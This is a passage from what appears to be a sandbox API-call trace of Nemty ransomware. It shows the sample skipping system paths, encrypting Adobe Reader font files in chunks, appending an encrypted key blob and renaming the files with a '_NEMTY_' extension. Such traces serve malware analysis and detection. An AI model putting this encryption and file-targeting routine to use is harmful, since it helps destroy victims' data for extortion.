lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMingStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0194.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMingStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0194.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942d8 [0194.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0194.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94220 [0194.576] Sleep (dwMilliseconds=0x5) [0194.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x279fa310, dwHighDateTime=0x1d561e8)) [0194.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x279fa310, dwHighDateTime=0x1d561e8)) [0194.577] GetLastError () returned 0x0 [0194.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.577] GetLastError () returned 0x0 [0194.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.577] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0194.577] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0194.577] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0194.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0194.577] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="K+DXylmxY+5HJKBPwjtzt3qEPrmfyPKb5hxKWsuu5h8iuxmJO5GK2o2EumT4DAFe\r\nVKfCUoDBoruugucW9H5BNl3PNbwzqhMF2J1CWDACubH+ORQ3UEEfWMRkAqjBIHjf\r\nzjGSsIIMM0onYgUpDwZkqMXRZ7YIs4jWHoidUy6FT8uHJs7KWiBa/u/nwTFrv6o2\r\ncs01+GSjnPCrQKO19PcSfmfQBgIEWHc748GpCcZljRaF+VewmURi9KTpymJgh0Or\r\nfwQCVxZKcB2t/gosE9wvqxKUPvYB4kn68ALx2LreQy8UuLz2kbynBtgdGPNTL0+L\r\ngo8gJN4g3AjlbLrrCeN1ug==\r\n", pcchString=0x653e91c) returned 1 [0194.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0194.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0194.578] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=10171656) returned 1 [0194.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0194.578] SetFilePointer (in: hFile=0x254, lDistanceToMove=3485828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x353084 [0194.578] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.590] SetFilePointer (in: hFile=0x254, lDistanceToMove=3485828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x353084 [0194.590] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.591] SetFilePointer (in: hFile=0x254, lDistanceToMove=3645828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x37a184 [0194.591] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.603] SetFilePointer (in: hFile=0x254, lDistanceToMove=3645828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x37a184 [0194.603] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.603] SetFilePointer (in: hFile=0x254, lDistanceToMove=3805828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3a1284 [0194.603] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.616] SetFilePointer (in: hFile=0x254, lDistanceToMove=3805828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3a1284 [0194.616] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.617] SetFilePointer (in: hFile=0x254, lDistanceToMove=3965828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c8384 [0194.617] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.628] SetFilePointer (in: hFile=0x254, lDistanceToMove=3965828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c8384 [0194.628] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.629] SetFilePointer (in: hFile=0x254, lDistanceToMove=4125828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ef484 [0194.629] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.648] SetFilePointer (in: hFile=0x254, lDistanceToMove=4125828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ef484 [0194.648] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.649] SetFilePointer (in: hFile=0x254, lDistanceToMove=4285828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x416584 [0194.649] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.661] SetFilePointer (in: hFile=0x254, lDistanceToMove=4285828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x416584 [0194.662] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.662] SetFilePointer (in: hFile=0x254, lDistanceToMove=4445828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43d684 [0194.662] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.672] SetFilePointer (in: hFile=0x254, lDistanceToMove=4445828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43d684 [0194.672] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.672] SetFilePointer (in: hFile=0x254, lDistanceToMove=4605828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x464784 [0194.672] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.685] SetFilePointer (in: hFile=0x254, lDistanceToMove=4605828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x464784 [0194.686] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.686] SetFilePointer (in: hFile=0x254, lDistanceToMove=4765828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x48b884 [0194.686] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.696] SetFilePointer (in: hFile=0x254, lDistanceToMove=4765828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x48b884 [0194.696] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.696] SetFilePointer (in: hFile=0x254, lDistanceToMove=4925828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b2984 [0194.696] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.709] SetFilePointer (in: hFile=0x254, lDistanceToMove=4925828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b2984 [0194.709] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.709] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.709] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.717] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.717] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.718] SetFilePointer (in: hFile=0x254, lDistanceToMove=10069256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99a508 [0194.718] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.726] SetFilePointer (in: hFile=0x254, lDistanceToMove=10069256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x99a508 [0194.726] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.726] SetFilePointer (in: hFile=0x254, lDistanceToMove=10171656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b3508 [0194.726] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0194.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.726] CloseHandle (hObject=0x254) returned 1 [0194.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0194.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0194.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0194.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0194.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.727] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf._nemty_kgobjgd_")) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.728] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb4a240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e93f4, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeMyungjoStd-Medium.otf", cAlternateFileName="ADOBEM~1.OTF")) returned 1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2=".") returned 1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="..") returned 1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="...") returned 1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="windows") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="$RECYCLE.BIN") returned 1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="rsa") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="NTDETECT.COM") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="ntldr") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="MSDOS.SYS") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="IO.SYS") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="boot.ini") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="boot.ini") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="AUTOEXEC.BAT") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="ntuser.dat") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="desktop.ini") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="CONFIG.SYS") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="RECYCLER") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="BOOTSECT.BAK") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="bootmgr") returned -1 [0194.728] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="programdata") returned -1 [0194.729] lstrcmpiW (lpString1="AdobeMyungjoStd-Medium.otf", lpString2="appdata") returned -1 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMyungjoStd-Medium.otf", lpUsedDefaultChar=0x0) returned 26 [0194.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0194.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMyungjoStd-Medium.otf", lpUsedDefaultChar=0x0) returned 26 [0194.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0194.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMyungjoStd-Medium.otf", lpUsedDefaultChar=0x0) returned 26 [0194.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMyungjoStd-Medium.otf", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMyungjoStd-Medium.otf", lpUsedDefaultChar=0x0) returned 26 [0194.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 